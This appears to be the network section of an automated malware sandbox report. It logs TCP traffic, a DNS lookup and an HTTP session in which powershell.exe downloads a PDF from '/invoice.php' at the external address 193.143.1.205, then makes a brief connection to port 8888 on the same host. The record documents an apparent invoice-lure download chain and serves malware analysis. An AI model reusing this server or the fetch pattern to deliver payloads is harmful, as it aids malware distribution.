Jan 10, 2025 19:07:59.846242905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.846256971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.846271038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.846285105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.846286058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.846316099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.852694035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.866369963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866385937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866400957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866439104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.866487026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866502047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866522074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.866595984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866611004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866625071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866627932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.866640091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866655111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866657019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.866686106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.866714954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866771936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866786003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866800070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.866802931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.866832018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.902527094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902543068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902556896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902571917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902587891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902601957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902616024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902616978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.902672052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.902782917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902820110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.902884007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902899027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902915001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902930975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.902967930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.902982950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903001070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903048038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903063059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903079987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903129101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903143883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903157949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903175116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903192043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903243065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903259039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903274059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903295994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903378963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903394938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903409004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903414965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903424978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903439999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903443098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903455019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903469086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903490067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903512955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903626919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903642893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903657913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903671026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903675079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903687000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903701067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903701067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903714895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903731108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903789997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903822899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903847933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903862953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903893948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903940916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903954983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903970957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.903985023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.903985977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904022932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904059887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904073954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904095888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904103994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904113054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904128075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904145002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904252052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904267073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904285908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904464006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904479027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904494047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904503107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904508114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904522896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904536963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904545069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904551983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904566050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904572010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904581070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904588938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904594898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904611111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904616117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904625893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904640913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904644012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904679060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.904772997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904958963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904973030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904988050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.904990911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905003071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905018091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905019999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905033112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905047894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905047894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905061960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905077934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905078888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905093908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905108929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905108929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905142069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905215025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905400038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905415058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905430079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905432940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905445099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905459881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905462980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905473948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905488968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905492067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905504942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905519962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905523062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905534029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905549049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905555010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905564070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905577898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905581951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.905594110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.905611038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.907316923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.938452959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938467979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938507080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938522100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938540936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.938555002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938570976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938594103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.938632011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938647032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.938668013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.958759069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.958772898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.958786964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.958817005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.958832026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.958853006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.958900928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.959002972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959017038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959031105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959045887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959057093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.959059954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959074974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959078074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.959090948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959106922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.959139109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959153891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959168911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959176064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.959181070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.959203005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.994798899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.994812012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.994827032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.994863987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.994879007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.994882107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.994894028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.994970083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.994983912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995053053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995053053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995161057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995194912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995202065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995218992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995251894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995275021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995296955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995320082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995333910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995335102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995368958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995373011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995414019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995428085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995445967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995513916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995527983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995543003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995548010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995558023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995575905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.995671988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.995702982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:08:00.065572023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:08:00.622349977 CET	49709	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:08:01.393980980 CET	8888	49709	193.143.1.205	192.168.2.5
Jan 10, 2025 19:08:01.394105911 CET	49709	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:08:01.453296900 CET	49709	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:08:01.458106995 CET	8888	49709	193.143.1.205	192.168.2.5
Jan 10, 2025 19:08:02.211555004 CET	8888	49709	193.143.1.205	192.168.2.5
Jan 10, 2025 19:08:02.253240108 CET	49709	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:08:03.481340885 CET	49709	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:08:08.061044931 CET	53459	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:08:08.061044931 CET	192.168.2.5	1.1.1.1	0x1d1a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:08:08.068775892 CET	1.1.1.1	192.168.2.5	0x1d1a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2788	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:07:58.404625893 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:07:59.204087019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:07:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:07:59.204107046 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:07:59.204119921 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:07:59.204132080 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 19:07:59.204145908 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 19:07:59.204155922 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 19:07:59.204462051 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 19:07:59.204474926 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
